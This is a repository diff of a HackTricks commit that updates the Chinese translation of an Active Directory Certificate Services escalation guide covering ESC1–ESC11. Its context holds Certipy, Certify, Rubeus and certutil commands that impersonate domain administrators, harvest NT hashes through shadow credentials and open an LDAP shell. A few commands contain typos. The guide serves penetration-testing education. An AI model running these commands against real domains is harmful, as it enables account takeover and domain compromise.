Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 09:27:32 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['windows-hardening/active-directory-methodology/ad-certifica

Browse source
This commit is contained in:
Translator 2024-04-12 13:23:13 +00:00
parent 0f076250fd
commit 2fbe11a802
1 changed files with 199 additions and 85 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

284
windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
View file

@ -6,11 +6,11 @@
支持HackTricks的其他方式：
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
@ -20,9 +20,9 @@
**这是关于升级技术部分的摘要：**
- [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
- [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
- [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
* [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
* [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
## 配置错误的证书模板 - ESC1
@ -30,22 +30,22 @@
### 解释配置错误的证书模板 - ESC1
- 企业CA授予低特权用户注册权限。
- 不需要经理批准。
- 不需要授权人员的签名。
- 证书模板上的安全描述符过于宽松，允许低特权用户获取注册权限。
- 证书模板配置为定义促进身份验证的EKU：
- 包括扩展密钥用途（EKU）标识符，如客户端身份验证（OID 1.3.6.1.5.5.7.3.2）、PKINIT客户端身份验证（1.3.6.1.5.2.3.4）、智能卡登录（OID 1.3.6.1.4.1.311.20.2.2）、任何目的（OID 2.5.29.37.0）或无EKU（SubCA）。
- 模板允许请求者在证书签名请求（CSR）中包含subjectAltName：
- 如果存在，Active Directory（AD）会优先使用证书中的subjectAltName（SAN）进行身份验证。这意味着通过在CSR中指定SAN，可以请求证书以冒充任何用户（例如，域管理员）。请求者是否可以指定SAN在证书模板的AD对象中通过`mspki-certificate-name-flag`属性指示。此属性是一个位掩码，`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`标志的存在允许请求者指定SAN。
* **企业CA授予低特权用户注册权限。**
* **不需要经理批准。**
* **不需要授权人员的签名。**
* **证书模板上的安全描述符过于宽松，允许低特权用户获取注册权限。**
* **证书模板配置为定义促进身份验证的EKU：**
* 包括扩展密钥用途（EKU）标识符，如客户端身份验证（OID 1.3.6.1.5.5.7.3.2）、PKINIT客户端身份验证（1.3.6.1.5.2.3.4）、智能卡登录（OID 1.3.6.1.4.1.311.20.2.2）、任何目的（OID 2.5.29.37.0）或无EKU（SubCA）。
* **请求者可以在证书签名请求（CSR）中包含subjectAltName的能力是由模板允许的：**
* 如果存在，Active Directory（AD）会优先使用证书中的subjectAltName（SAN）进行身份验证。这意味着通过在CSR中指定SAN，可以请求证书以冒充任何用户（例如，域管理员）。请求者是否可以指定SAN在证书模板的AD对象中通过`mspki-certificate-name-flag`属性指示。此属性是一个位掩码，`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`标志的存在允许请求者指定SAN。
{% hint style="danger" %}
所述配置允许低特权用户请求具有任意选择的SAN的证书，从而通过Kerberos或SChannel进行任何域主体的身份验证。
{% endhint %}
有时会启用此功能以支持产品或部署服务的即时生成HTTPS或主机证书，或由于缺乏理解。
有时启用此功能以支持产品或部署服务的即时生成HTTPS或主机证书，或由于缺乏理解。
值得注意的是，创建具有此选项的证书会触发警告，当复制现有证书模板（例如具有启用`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`的`WebServer`模板）然后修改以包含身份验证OID时，情况并非如此。
值得注意的是，使用此选项创建证书会触发警告，当复制现有证书模板（例如启用了`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`的`WebServer`模板）然后修改以包含身份验证OID时，情况并非如此。
### 滥用
@ -64,19 +64,19 @@ certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.loc
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
Windows 二进制文件 "Certreq.exe" 和 "Certutil.exe" 可用于生成 PFX：https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Windows二进制文件"Certreq.exe"和"Certutil.exe"可用于生成PFX：https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
可以通过运行以下 LDAP 查询来枚举 AD Forest 配置模式中的证书模板，特别是那些不需要批准或签名、具有客户端身份验证或智能卡登录 EKU，并启用了 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 标志的模板：
可以通过运行以下LDAP查询来枚举AD Forest配置模式中的证书模板，特别是那些不需要批准或签名，具有客户端身份验证或智能卡登录EKU，并启用了`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`标志的证书模板：
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
```
## 错误配置的证书模板 - ESC2
## 配置错误的证书模板 - ESC2
### 解释
第二种滥用场景是第一种的变体：
1. 企业 CA 向低权限用户授予注册权限。
1. 企业 CA 向低权限用户授予了注册权限。
2. 禁用了经理批准的要求。
3. 省略了授权签名的需求。
4. 证书模板上的过于宽松的安全描述符授予了低权限用户的证书注册权限。
@ -86,7 +86,7 @@ Windows 二进制文件 "Certreq.exe" 和 "Certutil.exe" 可用于生成 PFX：h
没有 **EKUs** 的证书，作为下级 CA 证书，可以被滥用为**任何目的**，也可以**用于签署新证书**。因此，攻击者可以利用下级 CA 证书指定新证书中的任意 EKUs 或字段。
然而，为**域认证**创建的新证书如果下级 CA 未被 **`NTAuthCertificates`** 对象信任，则无法正常运行，这是默认设置。尽管如此，攻击者仍然可以创建**具有任何 EKU 和任意证书值**的新证书。这些可能会被潜在地**滥用**于各种目的（例如代码签名、服务器认证等），并且可能对网络中的其他应用程序（如 SAML、AD FS 或 IPSec）产生重大影响。
然而，为**域认证**创建的新证书如果下级 CA 未被 **`NTAuthCertificates`** 对象信任（默认设置），将无法正常运行。尽管如此，攻击者仍然可以创建**具有任何 EKU 和任意证书值**的新证书。这些可能会被滥用为各种目的（例如代码签名、服务器认证等），并且可能对网络中的其他应用程序（如 SAML、AD FS 或 IPSec）产生重大影响。
要枚举符合 AD Forest 配置模式中此场景的模板，可以运行以下 LDAP 查询：
```
@ -96,31 +96,31 @@ Windows 二进制文件 "Certreq.exe" 和 "Certutil.exe" 可用于生成 PFX：h
### 解释
这种情况类似于前两种，但是滥用了**不同的 EKU**（证书请求代理）和**2个不同的模板**（因此有2组要求）。
这种情况类似于前两种，但滥用了不同的 EKU（证书请求代理）和 2 种不同的模板（因此有 2 组要求）。
**证书请求代理 EKU**（OID 1.3.6.1.4.1.311.20.2.1），在微软文档中称为**注册代理**，允许主体**代表另一个用户**为**证书**进行**注册**。
**证书请求代理 EKU**（OID 1.3.6.1.4.1.311.20.2.1），在 Microsoft 文档中称为**注册代理**，允许主体**代表另一个用户**为**证书**进行**注册**。
**“注册代理”**在这种**模板**中注册，并使用生成的**证书共同签署代表其他用户的 CSR**。然后**发送**共同签署的 CSR 到 CA，在**允许“代表”注册**的模板中注册，CA 会回复一个**属于“其他”用户的证书**。
**“注册代理”**在这种**模板**中进行注册，并使用生成的**证书共同签署代表其他用户的 CSR**。然后**发送**共同签署的 CSR 到 CA，注册在**允许“代表注册”的模板**中，CA 会回复一个**属于“其他”用户的证书**。
**要求 1:**
* 企业 CA 授予低权限用户注册权限。
* 管理员批准要求被省略。
* 无需授权签名。
* 证书模板的安全描述符过于宽松，授予低权限用户注册权限。
* 证书模板包含证书请求代理 EKU，允许代表其他主体请求其他证书模板。
- 企业 CA 授予低特权用户注册权限。
- 不需要经理批准。
- 不需要授权签名。
- 证书模板的安全描述符过于宽松，授予低特权用户注册权限。
- 证书模板包含证书请求代理 EKU，允许代表其他主体请求其他证书模板。
**要求 2:**
* 企业 CA 授予低权限用户注册权限。
* 绕过管理批准。
* 模板的模式版本为 1 或超过 2，并指定了一个需要证书请求代理 EKU 的应用程序策略签发要求。
* 证书模板中定义的 EKU 允许域身份验证。
* CA 上未应用注册代理的限制。
- 企业 CA 授予低特权用户注册权限。
- 绕过经理批准。
- 模板的模式版本为 1 或超过 2，并指定了一个需要证书请求代理 EKU 的应用程序策略签发要求。
- 证书模板中定义的 EKU 允许域身份验证。
- CA 上未应用注册代理的限制。
### 滥用
您可以使用[**Certify**](https://github.com/GhostPack/Certify)或[**Certipy**](https://github.com/ly4k/Certipy)来滥用这种情况：
您可以使用 [**Certify**](https://github.com/GhostPack/Certify) 或 [**Certipy**](https://github.com/ly4k/Certipy) 来滥用这种情况：
```bash
# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
@ -134,25 +134,25 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
**用户**允许**获取****注册代理证书**的，允许注册代理**注册**的模板，以及注册代理可以代表其执行操作的**帐户**可以受到企业CA的限制。这可以通过打开`certsrc.msc` **快捷方式**，**右键单击CA**，**单击属性**，然后**导航**到“注册代理”选项卡来实现。
**用户**允许**获取**注册代理证书的人，注册代理允许注册的模板，以及注册代理可以代表的**帐户**可以受到企业CA的限制。这可以通过打开`certsrc.msc` **快捷方式**，**右键单击CA**，**单击属性**，然后导航到“注册代理”选项卡来实现。
然而，值得注意的是，CA的**默认**设置是“**不限制注册代理**”。当管理员启用对注册代理的限制时，将其设置为“限制注册代理”，默认配置仍然非常宽松。它允许**所有人**访问并在所有模板中注册。
## 可脆弱的证书模板访问控制 - ESC4
## 可被攻击的证书模板访问控制 - ESC4
### **解释**
**证书模板**上的**安全描述符**定义了特定**AD主体**对模板拥有的**权限**。
**证书模板**上的**安全描述符**定义了特定**AD主体**对模板的**权限**。
如果**攻击者**具有足够的**权限**来**更改**一个**模板**并**实施**在**前几节**中概述的任何**可利用的配置错误**，则可能促成特权升级。
如果**攻击者**具有**修改****模板**并**实施**在**前几节**中概述的任何**可利用的配置错误**所需的**权限**，则可能促成特权升级。
适用于证书模板的显著权限包括：
适用于证书模板的显着权限包括：
- **所有者：**授予对对象的隐式控制权，允许修改任何属性。
- **完全控制：**允许完全控制对象，包括修改任何属性的能力。
- **写入所有者：**允许将对象的所有者更改为攻击者控制下的主体。
- **写入Dacl：**允许调整访问控制，可能授予攻击者完全控制。
- **写入属性：**授权编辑任何对象属性。
- **所有者：**授予对对象的隐式控制，允许修改任何属性。
- **完全控制：**在对象上拥有完全权限，包括修改任何属性的能力。
- **WriteOwner：**允许将对象的所有者更改为攻击者控制下的主体。
- **WriteDacl：**允许调整访问控制，可能授予攻击者完全控制。
- **WriteProperty：**授权编辑任何对象属性。
### 滥用
@ -160,9 +160,9 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
<figure><img src="../../../.gitbook/assets/image (811).png" alt=""><figcaption></figcaption></figure>
ESC4是指用户对证书模板具有写入权限。例如，这可以被滥用以覆盖证书模板的配置，使模板容易受到ESC1的影响。
ESC4是指用户具有对证书模板的写权限。例如，可以滥用此权限来覆盖证书模板的配置，使模板容易受到ESC1的攻击。
如上路径所示，只有`JOHNPC`具有这些权限，但我们的用户`JOHN`具有到`JOHNPC`的新`AddKeyCredentialLink`边缘。由于这个技术与证书有关，我也实施了这种攻击，即所谓的[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。这里是Certipy的`shadow auto`命令的一小部分，用于检索受害者的NT哈希。
如上路径所示，只有`JOHNPC`具有这些权限，但我们的用户`JOHN`具有到`JOHNPC`的新`AddKeyCredentialLink`边缘。由于此技术与证书相关，我也实施了此攻击，即所谓的[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。这里是Certipy的`shadow auto`命令的一个小窥视，用于检索受害者的NT哈希。
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
@ -193,9 +193,9 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
### 解释
[CQure Academy文章](https://cqureacademy.com/blog/enhanced-key-usage)中讨论的主题也涉及到Microsoft概述的**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志的含义。当在证书颁发机构（CA）上激活此配置时，允许在**任何请求**的**主题备用名称**中包含**用户定义的值**，包括那些由Active Directory®构建的请求。因此，此配置允许**入侵者**通过为域**身份验证**设置的**任何模板**（特别是对**非特权**用户注册开放的模板，如标准用户模板）进行注册。结果，可以获得一个证书，使入侵者能够作为域管理员或域内的**任何其他活动实体**进行身份验证。
在[CQure Academy文章](https://cqureacademy.com/blog/enhanced-key-usage)中讨论的主题也涉及到Microsoft概述的**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志的影响。当在证书颁发机构（CA）上激活此配置时，允许在**主题备用名称**中包含**用户定义的值**，用于**任何请求**，包括那些从Active Directory®构建的请求。因此，此配置允许**入侵者**通过为域**认证**设置的**任何模板**进行注册，特别是那些对**非特权用户**开放的用户模板。结果，可以获得一个证书，使入侵者能够作为域管理员或域内的**任何其他活动实体**进行身份验证。
**注意**：通过`certreq.exe`中的`-attrib "SAN:"`参数（称为“名称值对”）将**替代名称**附加到证书签名请求（CSR）中的方法，与ESC1中对SAN的利用策略有所不同。这里的区别在于**帐户信息如何封装**—在证书属性中，而不是在扩展中。
**注意**：通过在`certreq.exe`中使用`-attrib "SAN:"`参数（称为“名称值对”）将**备用名称**附加到证书签名请求（CSR）的方法，与ESC1中对SAN的利用策略形成**对比**。这里的区别在于**帐户信息如何封装**—在证书属性中，而不是在扩展中。
### 滥用
@ -225,31 +225,31 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJ
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
{% hint style="warning" %}
在2022年5月的安全更新之后，新发布的**证书**将包含一个**安全扩展**，其中包含了**请求者的`objectSid`属性**。对于ESC1，此SID是从指定的SAN派生的。然而，对于**ESC6**，SID反映了**请求者的`objectSid`**，而不是SAN。\
要利用ESC6，系统必须容易受到ESC10（弱证书映射）的影响，该漏洞将**SAN优先于新的安全扩展**。
在 2022 年 5 月的安全更新之后，新发布的**证书**将包含一个**安全扩展**，其中包含了**请求者的 `objectSid` 属性**。对于 ESC1，此 SID 是从指定的 SAN 派生而来。然而，对于**ESC6**，SID 反映了**请求者的 `objectSid`**，而不是 SAN。\
要利用 ESC6，系统必须容易受到 ESC10（弱证书映射）的影响，该映射将**SAN 优先于新的安全扩展**。
{% endhint %}
## 易受攻击的证书颁发机构访问控制 - ESC7
### 攻击1
### 攻击 1
#### 解释
证书颁发机构的访问控制是通过一组权限来维护的，这些权限管理着CA的操作。可以通过访问`certsrv.msc`，右键单击CA，选择属性，然后导航到安全选项卡来查看这些权限。此外，可以使用PSPKI模块来枚举权限，例如：
证书颁发机构的访问控制是通过一组权限来维护的，这些权限管理着 CA 的操作。可以通过访问 `certsrv.msc`，右键单击 CA，选择属性，然后导航到安全选项卡来查看这些权限。此外，可以使用 PSPKI 模块来枚举权限，例如：
```bash
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
这提供了关于主要权限，即**`ManageCA`**和**`ManageCertificates`**，分别对应“CA管理员”和“证书管理员”的角色。
这提供了关于主要权限的见解，即**`ManageCA`**和**`ManageCertificates`**，分别对应“CA管理员”和“证书管理员”的角色。
#### 滥用
拥有证书颁发机构上的**`ManageCA`**权限使主体能够使用PSPKI远程操纵设置。这包括切换**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志，以允许在任何模板中指定SAN，这是域提升的关键方面。
在证书颁发机构上拥有**`ManageCA`**权限使主体能够使用PSPKI远程操纵设置。这包括切换**`EDITF_ATTRIBUTESUBJECTALTNAME2`**标志，允许在任何模板中指定SAN，这是域提升的关键方面。
通过使用PSPKI的**Enable-PolicyModuleFlag** cmdlet，可以简化此过程，允许进行修改而无需直接GUI交互。
拥有**`ManageCertificates`**权限可促使批准待处理请求，有效地规避“CA证书管理员批准”保障。
拥有**`ManageCertificates`**权限可促使批准待处理请求，有效地规避了“CA证书管理员批准”保障。
**Certify**和**PSPKI**模块的结合可用于请求、批准和下载证书：
**Certify**和**PSPKI**模块的组合可用于请求、批准和下载证书：
```powershell
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
@ -270,22 +270,22 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
#### 解释
{% hint style="warning" %}
在**先前的攻击**中，使用了**`Manage CA`**权限来启用**EDITF\_ATTRIBUTESUBJECTALTNAME2**标志以执行**ESC6攻击**，但在CA服务（`CertSvc`）重新启动之前，这不会产生任何效果。当用户拥有`Manage CA`访问权限时，用户也被允许**重新启动服务**。然而，这**并不意味着用户可以远程重新启动服务**。此外，在大多数已打补丁的环境中，由于2022年5月的安全更新，**ESC6**可能无法直接使用。
在**先前的攻击**中，使用了**`Manage CA`**权限来启用**EDITF\_ATTRIBUTESUBJECTALTNAME2**标志以执行**ESC6攻击**，但在重启CA服务（`CertSvc`）之前，这不会产生任何效果。当用户拥有`Manage CA`访问权限时，用户也被允许**重新启动服务**。然而，这**并不意味着用户可以远程重新启动服务**。此外，由于2022年5月的安全更新，**ESC6在大多数已打补丁的环境中可能无法直接使用**。
{% endhint %}
因此，这里提出了另一种攻击方式。
因此，这里提出另一种攻击。
先决条件：
- 仅具有**`ManageCA`权限**
- 仅**`ManageCA`权限**
- **`Manage Certificates`**权限（可以从**`ManageCA`**授予）
- 必须**启用**证书模板**`SubCA`**（可以从**`ManageCA`**启用）
该技术依赖于具有`Manage CA`和`Manage Certificates`访问权限的用户可以**发出失败的证书请求**。**`SubCA`**证书模板**易受ESC1攻击**，但**只有管理员**可以在模板中注册。因此，**用户**可以**请求**注册**`SubCA`** - 将被**拒绝** - 但**然后由管理员发出**。
该技术依赖于具有`Manage CA`和`Manage Certificates`访问权限的用户可以**发出失败的证书请求**。**`SubCA`**证书模板**易受ESC1攻击**，但**只有管理员**可以在模板中注册。因此，**用户**可以**请求**注册**`SubCA`** - 将被**拒绝** - 但**然后由管理员颁发**。
#### 滥用
您可以通过将您的用户添加为新官员来**授予自己`Manage Certificates`**访问权限。
您可以通过将您的用户添加为新的官员来**授予自己`Manage Certificates`**访问权限。
```bash
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -325,7 +325,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
```
最后，我们可以使用`req`命令和`-retrieve <request ID>`参数**检索已签发的证书**。
最后，我们可以使用`req`命令和`-retrieve <request ID>`参数**检索已发放的证书**。
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -345,14 +345,14 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
在安装了**AD CS**的环境中，如果存在一个**易受攻击的网络注册端点**，并且至少发布了一个允许**域计算机注册和客户端认证**的**证书模板**（例如默认的**`Machine`**模板），那么**任何启用了 spooler 服务的计算机都有可能被攻击者入侵**！
{% endhint %}
AD CS支持几种基于HTTP的注册方法，通过管理员安装的附加服务器角色提供。这些基于HTTP的证书注册接口容易受到**NTLM中继攻击**的影响。攻击者可以从**受攻击的计算机上冒充通过入站NTLM进行身份验证的任何AD帐户**。在冒充受害者帐户的情况下，攻击者可以访问这些Web接口，**使用`User`或`Machine`证书模板请求客户端认证证书**。
AD CS支持几种基于HTTP的注册方法，通过管理员安装的附加服务器角色提供。这些基于HTTP的证书注册接口容易受到**NTLM中继攻击**的影响。攻击者可以从**受攻击的计算机上**冒充通过入站NTLM进行身份验证的**任何AD帐户**。在冒充受害者帐户的同时，攻击者可以访问这些Web接口，**使用`User`或`Machine`证书模板请求客户端认证证书**。
* **网络注册接口**（位于`http://<caserver>/certsrv/`的较旧的ASP应用程序）默认仅支持HTTP，不提供对NTLM中继攻击的保护。此外，它明确只通过其授权HTTP标头允许NTLM身份验证，使更安全的身份验证方法如Kerberos无法应用。
* **证书注册服务**（CES）、**证书注册策略**（CEP）Web服务和**网络设备注册服务**（NDES）默认支持通过其授权HTTP标头进行协商身份验证。协商身份验证**同时支持**Kerberos和**NTLM**，允许攻击者在中继攻击期间**降级到NTLM**身份验证。尽管这些Web服务默认启用HTTPS，但仅使用HTTPS**无法防范NTLM中继攻击**。对于HTTPS服务，防范NTLM中继攻击只有在HTTPS与通道绑定结合时才可能。遗憾的是，AD CS没有在IIS上激活扩展保护以进行身份验证，这是通道绑定所需的。
* **证书注册服务**（CES）、**证书注册策略**（CEP）Web服务和**网络设备注册服务**（NDES）默认支持通过其授权HTTP标头进行协商身份验证。协商身份验证**同时支持**Kerberos和**NTLM**，允许攻击者在中继攻击期间**降级到NTLM**身份验证。尽管这些Web服务默认启用HTTPS，但仅使用HTTPS**无法防范NTLM中继攻击**。对于HTTPS服务，防范NTLM中继攻击只有在HTTPS与通道绑定结合时才可能。遗憾的是，AD CS未在IIS上激活扩展保护以进行身份验证，这是通道绑定所必需的。
NTLM中继攻击的一个常见**问题**是**NTLM会话的短暂持续时间**以及攻击者无法与**需要NTLM签名**的服务进行交互。
然而，通过利用NTLM中继攻击来获取用户的证书，可以克服这一限制，因为证书的有效期决定了会话的持续时间，并且证书可以用于需要**NTLM签名**的服务。有关使用窃取的证书的说明，请参阅：
然而，通过利用NTLM中继攻击来获取用户的证书，可以克服这一限制，因为证书的有效期决定了会话的持续时间，并且证书可以与**要求NTLM签名**的服务一起使用。有关使用窃取的证书的说明，请参阅：
{% content-ref url="account-persistence.md" %}
[account-persistence.md](account-persistence.md)
@ -372,7 +372,7 @@ Certify.exe cas
```
<figure><img src="../../../.gitbook/assets/image (69).png" alt=""><figcaption></figcaption></figure>
`msPKI-Enrollment-Servers`属性用于企业证书颁发机构（CAs）存储证书颁发服务（CES）端点。可以使用工具**Certutil.exe**解析并列出这些端点：
`msPKI-Enrollment-Servers`属性被企业证书颁发机构（CAs）用来存储证书颁发服务（CES）端点。可以通过工具**Certutil.exe**解析并列出这些端点：
```
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```
@ -442,17 +442,17 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
```
这种修改不违反约束条件，因为 `Administrator@corp.local` 作为 `Administrator` 的 `userPrincipalName` 仍然保持不同。
随后，作为 `Jane`，请求标记为易受攻击的 `ESC9` 证书模板：
随后，将以 `Jane` 的身份请求标记为易受攻击的 `ESC9` 证书模板：
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
据指出，证书的 `userPrincipalName` 反映了 `Administrator`，没有任何“object SID”。
证书的`userPrincipalName`反映了`Administrator`，没有任何“object SID”。
然后将 `Jane` 的 `userPrincipalName` 恢复为她的原始名称 `Jane@corp.local`：
然后将`Jane`的`userPrincipalName`恢复为她的原始名称`Jane@corp.local`：
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
尝试使用颁发的证书进行身份验证现在会返回 `Administrator@corp.local` 的 NT 哈希。由于证书缺乏域规范，命令必须包括 `-domain <domain>`：
尝试使用颁发的证书进行身份验证现在会产生`Administrator@corp.local`的NT哈希。由于证书缺乏域规范，命令必须包括`-domain <domain>`：
```bash
certipy auth -pfx adminitrator.pfx -domain corp.local
```
@ -487,7 +487,7 @@ certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
接下来，将以`Jane`的身份请求一个启用客户端认证的证书，使用默认的`User`模板。
以下是以`Jane`身份，使用默认的`User`模板请求启用客户端身份验证的证书。
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
@ -495,15 +495,15 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
使用获得的证书进行身份验证将产生`Administrator@corp.local`的NT哈希，由于证书中缺少域详细信息，因此需要在命令中指定域。
通过获得的证书进行身份验证将产生`Administrator@corp.local`的NT哈希，由于证书中缺少域详细信息，因此需要在命令中指定域。
```bash
certipy auth -pfx administrator.pfx -domain corp.local
```
### 滥用案例 2
使用包含 `UPN` 位标志 (`0x4`) 的 `CertificateMappingMethods`，具有 `GenericWrite` 权限的帐户 A 可以妥协任何缺少 `userPrincipalName` 属性的帐户 B，包括机器帐户和内置域管理员 `Administrator`。
当`CertificateMappingMethods`包含`UPN`位标志(`0x4`)时，具有`GenericWrite`权限的帐户A可以妥协任何缺少`userPrincipalName`属性的帐户B，包括机器帐户和内置域管理员`Administrator`。
在这里，目标是妥协 `DC$@corp.local`，首先通过 Shadow 凭据获取 `Jane` 的哈希，利用 `GenericWrite`。
在这里，目标是通过Shadow凭据获取`Jane`的哈希，利用`GenericWrite`来妥协`DC$@corp.local`。
```bash
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```
@ -519,25 +519,139 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
```
要通过Schannel进行身份验证，使用Certipy的`-ldap-shell`选项，指示身份验证成功为`u:CORP\DC$`。
使用Schannel进行身份验证时，Certipy的`-ldap-shell`选项被使用，指示认证成功为`u:CORP\DC$`。
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
通过LDAP shell，诸如 `set_rbcd` 的命令可以启用基于资源的受限委派（RBCD）攻击，可能危及域控制器。
通过LDAP shell，诸如 `set_rbcd` 这样的命令可以启用基于资源的受限委派（RBCD）攻击，可能会危及域控制器。
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
这个漏洞还涉及到任何缺乏`userPrincipalName`或者`userPrincipalName`与`sAMAccountName`不匹配的用户账户，因为默认的`Administrator@corp.local`由于其提升的LDAP权限和默认缺乏`userPrincipalName`而成为主要目标。
这个漏洞还涉及到任何缺乏`userPrincipalName`的用户账户，或者其`userPrincipalName`与`sAMAccountName`不匹配的情况，因为默认的`Administrator@corp.local`由于其提升的LDAP权限以及默认情况下缺乏`userPrincipalName`而成为主要目标。
## 使用证书解释被动语态下的森林提升
## 将 NTLM 中继到 ICPR - ESC11
### 通过受损CA打破森林信任
### 解释
